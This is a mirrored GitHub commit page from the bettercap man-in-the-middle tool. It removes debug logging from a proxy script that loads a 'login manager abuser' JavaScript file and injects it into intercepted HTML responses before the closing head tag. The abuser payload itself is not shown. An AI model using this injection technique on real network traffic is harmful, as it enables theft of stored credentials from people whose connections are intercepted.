mirror of
https://github.com/bettercap/bettercap
synced 2025-08-19 21:13:18 -07:00
fix: removed debug logs from login manager abuser script
This commit is contained in:
parent
493867be6b
commit
f0614395d8
1 changed files with 1 additions and 2 deletions
|
@ -12,7 +12,7 @@
|
||||||
var AbuserJavascript = "";
|
var AbuserJavascript = "";
|
||||||
|
|
||||||
function onLoad() {
|
function onLoad() {
|
||||||
console.log( "Loading abuser code from caplets/login-man-abuser.js" );
|
// console.log( "Loading abuser code from caplets/login-man-abuser.js" );
|
||||||
AbuserJavascript = readFile("caplets/login-man-abuser.js")
|
AbuserJavascript = readFile("caplets/login-man-abuser.js")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -34,7 +34,6 @@ function onRequest(req, res) {
|
||||||
function onResponse(req, res) {
|
function onResponse(req, res) {
|
||||||
if( res.ContentType.indexOf('text/html') == 0 ){
|
if( res.ContentType.indexOf('text/html') == 0 ){
|
||||||
var body = res.ReadBody();
|
var body = res.ReadBody();
|
||||||
console.log(AbuserJavascript);
|
|
||||||
if( body.indexOf('</head>') != -1 ) {
|
if( body.indexOf('</head>') != -1 ) {
|
||||||
res.Body = body.replace(
|
res.Body = body.replace(
|
||||||
'</head>',
|
'</head>',
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue